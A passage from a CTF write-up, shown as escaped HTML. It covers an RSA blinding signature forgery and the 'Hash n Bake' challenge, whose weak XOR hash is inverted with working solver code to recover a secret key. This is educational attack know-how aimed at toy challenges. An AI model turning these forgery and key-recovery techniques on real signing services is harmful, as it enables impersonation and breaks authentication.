&lt;span class=&quot;n&quot;&gt;mb&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mpz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fromstr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;get_your_hands_off_my_RSA!&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;kmb&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mb&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;skmb&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_signature&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kmb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_signature&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;smb&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;skmb&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;invert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;smb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;hash-n-bake&quot;&gt;Hash n Bake&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;to_bits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;zfill&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;from_bits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;CONST2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to_bits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;65&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1fe67c76d13735f9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;CONST&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to_bits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xabaddeadbeef1dea&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;hash_n_bake&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mesg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;mesg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mesg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CONST&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;shift&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shift&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mesg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mesg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shift&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;65&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;mesg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shift&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CONST2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;pass&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;#print(&amp;quot;  &amp;quot;, end=&amp;quot;&amp;quot;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;shift&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mesg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:]&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;g&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;PLAIN_1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;goatscrt&amp;quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;PLAIN_2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;tu_ctf??&amp;quot;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;str_to_bits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to_bits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ord&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))]&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;hex_to_bits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;binascii&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unhexlify&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unhexlify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:])&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;str_to_bits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;bits_to_hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;from_bits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rstrip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;L&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;vm&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;__main__&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;key.txt&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;KEY&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;to_bits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PLAIN_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;=&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bits_to_hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_n_bake&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;KEY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;str_to_bits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PLAIN_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;TUCTF{&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bits_to_hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hash_n_bake&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;KEY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;str_to_bits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PLAIN_2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&amp;quot;}&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;#  Output&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#  goatscrt =&amp;gt; 0xfaae6f053234c939&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#  TUCTF{****REDACTED****}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;So, here we are given \(hash(xor(k, m_1))\) and \(m_2\) and need to compute
\(hash(xor(k, m_2))\). As it looks like, we need to inverse the hash function
and then xor PLAIN_1 with the result to get &lt;code&gt;KEY&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Looking at the hash function, there is an important observation to make:&lt;/p&gt;

&lt;p&gt;The last bit of the result is flipped (compared to &lt;code&gt;CONST&lt;/code&gt;) if and only if the
message got XORed in the final round.&lt;/p&gt;

&lt;p&gt;After un-xoring it, the same applies to the
previous bit and so on, so the inverse hash function looks as follows:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;unhash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# Iterate backwards and xor when needed&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;127&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;63&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CONST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;# XOR backwards&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CONST2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Another important observation is, that the first bit of &lt;code&gt;CONST2&lt;/code&gt; is 1 – this means
that the message can safely be initialized to zeroes, as that is what it ends up
being after the hash function runs forward.&lt;/p&gt;

&lt;p&gt;To make this a bit more clear, let’s take a look at some intermediate values:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&lt;/span&gt;  &lt;span class=&quot;mo&quot;&gt;00&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0111010001100101011100110111010001110100011001010111001101110101&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;1010101110101101110111101010110110111110111011110001110111101010&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;01&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0011001110011100111011000110100111000000001010001011111000001011&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;1110101110101101110111101010110110111110111011110001110111101010&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;02&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0001000001100000001000111110011100011010000011100101100010110100&lt;/span&gt;   &lt;span class=&quot;mi&quot;&gt;1100101110101101110111101010110110111110111011110001110111101010&lt;/span&gt;
